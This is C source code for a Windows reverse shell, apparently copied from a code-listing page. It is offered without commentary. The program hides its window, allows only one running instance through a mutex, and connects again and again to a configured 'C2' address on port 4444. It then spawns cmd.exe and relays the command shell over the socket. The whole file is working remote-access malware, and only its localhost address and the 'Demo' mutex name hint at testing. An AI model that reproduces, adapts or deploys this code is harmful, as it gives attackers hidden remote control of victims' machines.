1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| #pragma comment(linker, "/SUBSYSTEM:WINDOWS") #include <winsock2.h> #include <windows.h> #include <stdio.h>
#define C2_IP "127.0.0.1" #define C2_PORT 4444 #define RETRY_MS 5000
static void ensure_single(void) { HANDLE m = CreateMutexA(NULL, TRUE, "Global\\DemoRShell"); if (m && GetLastError() == ERROR_ALREADY_EXISTS) ExitProcess(0); }
static SOCKET connect_c2(void) { for (;;) { SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { Sleep(RETRY_MS); continue; }
struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(C2_PORT); addr.sin_addr.s_addr = inet_addr(C2_IP);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) return s; closesocket(s); Sleep(RETRY_MS); } }
static void shell(SOCKET s) { SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL;
HANDLE hInR, hInW, hOutR, hOutW; if (!CreatePipe(&hInR, &hInW, &sa, 0)) return; if (!CreatePipe(&hOutR, &hOutW, &sa, 0)) { CloseHandle(hInR); CloseHandle(hInW); return; }
STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = hInR; si.hStdOutput = hOutW; si.hStdError = hOutW;
char cmdline[] = "cmd.exe"; if (!CreateProcessA(NULL, cmdline, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { CloseHandle(hInR); CloseHandle(hInW); CloseHandle(hOutR); CloseHandle(hOutW); return; }
CloseHandle(hInR); CloseHandle(hOutW);
for (;;) { fd_set rfds; FD_ZERO(&rfds); FD_SET(s, &rfds); struct timeval tv = {0, 100000};
if (select(0, &rfds, NULL, NULL, &tv) > 0 && FD_ISSET(s, &rfds)) { char buf[8192]; int n = recv(s, buf, sizeof(buf), 0); if (n <= 0) break; DWORD written = 0; WriteFile(hInW, buf, n, &written, NULL); }
DWORD avail = 0; if (PeekNamedPipe(hOutR, NULL, 0, NULL, &avail, NULL) && avail > 0) { char out[8192]; DWORD got = 0; if (!ReadFile(hOutR, out, sizeof(out), &got, NULL) || got == 0) break; send(s, out, got, 0); } }
TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hInW); CloseHandle(hOutR); closesocket(s); }
int main(void) { WSADATA wsa; if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return 1;
ensure_single();
for (;;) { SOCKET s = connect_c2(); shell(s); Sleep(RETRY_MS); }
WSACleanup(); return 0; }
|